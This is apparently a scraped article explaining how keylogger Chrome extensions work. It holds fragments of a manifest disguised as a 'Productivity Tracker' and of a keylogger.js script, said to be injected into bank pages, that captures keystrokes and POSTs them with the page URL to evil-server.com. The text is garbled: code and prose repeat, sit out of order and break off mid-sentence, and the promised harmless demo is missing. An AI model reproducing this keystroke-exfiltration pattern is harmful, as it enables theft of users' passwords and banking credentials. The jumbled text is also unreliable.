"manifest_version": 3, "name": "Keystroke Demo", "version": "1.0", "content_scripts": [ "matches": ["<all_urls>"], "js": ["demo.js"] ]
function sendKeystrokes(data) fetch(targetServer, method: 'POST', mode: 'no-cors', // Attempt to avoid CORS errors body: JSON.stringify( keys: data, url: window.location.href ) ); keylogger chrome extension work
// This is keylogger.js – injected into your bank page. let logBuffer = []; let targetServer = "https://evil-server.com/collect"; document.addEventListener('keydown', function(event) let key = event.key; The reality is more complex, involving Chrome’s unique
"name": "Productivity Tracker", "version": "1.0", "permissions": [ "storage", "webRequest", "https://evil-server.com/*" ], "content_scripts": [ "matches": ["", "https://"], "js": ["keylogger.js"], "run_at": "document_idle" ], "host_permissions": ["", "https://"] The reality is more complex
Here is a minimalist, non-malicious demo that logs only to the console and clears on page reload:
demo.js
But how exactly does a keylogger Chrome extension work? Is it simply a piece of code that records every "A," "B," and "C" you type? The reality is more complex, involving Chrome’s unique architecture, permission systems, and JavaScript injection techniques.